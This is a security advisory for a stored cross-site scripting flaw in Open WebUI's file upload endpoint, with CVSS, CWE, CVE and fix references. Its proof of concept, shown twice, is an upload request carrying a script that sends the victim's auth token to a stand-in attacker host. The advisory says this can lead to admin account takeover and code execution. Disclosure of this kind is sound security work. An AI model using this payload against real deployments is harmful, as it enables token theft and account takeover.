Open WebUI allows limited stored XSS vila uploaded html file

### Summary Low privileged users can upload HTML files which contain JavaScript code via the `/api/v1/files/` backend endpoint. This endpoint returns a file id, which can be used to open the file in the browser and trigger the JavaScript code in the user's browser. Under the default settings, files uploaded by low-privileged users can only be viewed by admins or themselves, limiting the impact of this vulnerability. ### Details The following HTTP request can be sent to the backend server to upload a file with the contents: `<script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script>` ```http POST /api/v1/files/ HTTP/1.1 Host: localhost:8080 Content-Length: 286 authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm ------WebKitFormBoundaryr0PnRBBHKXD9UEdm Content-Disposition: form-data; name="file"; filename="test.html" Content-Type: text/html <h1>padding</h1> <script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script> ------WebKitFormBoundaryr0PnRBBHKXD9UEdm-- ``` Note the `filename="test.html"` , `Content-Type: text/html`, and `<h1>padding</h`> in the request's body. These are important because some form of sanitization or filtering was observed which caused errors when uploading an html file that only conained a `<script>` tag. The backend server responds to the above request with JSON data that contains an `id` parameter.  This ID can be used to view the uploaded file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html` Because of the authorization checks done on lines https://github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438, this file can only be viewed by admins and the user that uploaded it, but not by other low-privileged users, thus limiting the imact of this stored XSS vulnerability. ### PoC First, upload an html containing JavaScript code to the backend server using the following HTTP request: ```http POST /api/v1/files/ HTTP/1.1 Host: localhost:8080 Content-Length: 286 authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijg2NjA1NTZhLTc0OWQtNDdmNS1iMjgwLWRiYzkyYzc2ZjM1NiJ9.4cImklYQUVi3dlXmRtQwdZKEleu0cq4tXompMod8X2U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryr0PnRBBHKXD9UEdm ------WebKitFormBoundaryr0PnRBBHKXD9UEdm Content-Disposition: form-data; name="file"; filename="test.html" Content-Type: text/html <h1>padding</h1> <script>fetch("https://attacker.com/?token=" + localStorage.getItem("token"))</script> ------WebKitFormBoundaryr0PnRBBHKXD9UEdm-- ``` Then copy the `id` from the response and use it to view the file in the browser at `<Backend_URL>/api/v1/files/<file_id>/content/html` ### Impact Low privileged users can upload HTML files containing malicious JavaScript code. A link to such a file can be sent to an admin, and if clicked, will give the low-privileged user complete control over the admin's account, ultimately enabling RCE via functions, as described in https://github.com/open-webui/open-webui/security/advisories/GHSA-9f4f-jv96-8766

CVSS 4.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Severity from

GitHub (reviewed advisory)

Weakness

CWE-79, CWE-87

Also known as

CVE-2025-46571, PYSEC-2026-2713

• github.com/open-webui/open-webui/security/advisories/GHSA-8gh5-qqh8-hq3x
• nvd.nist.gov/vuln/detail/CVE-2025-46571
• github.com/open-webui/open-webui/commit/ef2aeb7c0eb976bac759e59ac359c94a5b8dc7e0
• github.com/open-webui/open-webui
• github.com/open-webui/open-webui/blob/main/backend/open_webui/routers/files.py#L434-L438
• github.com/open-webui/open-webui/releases/tag/v0.6.6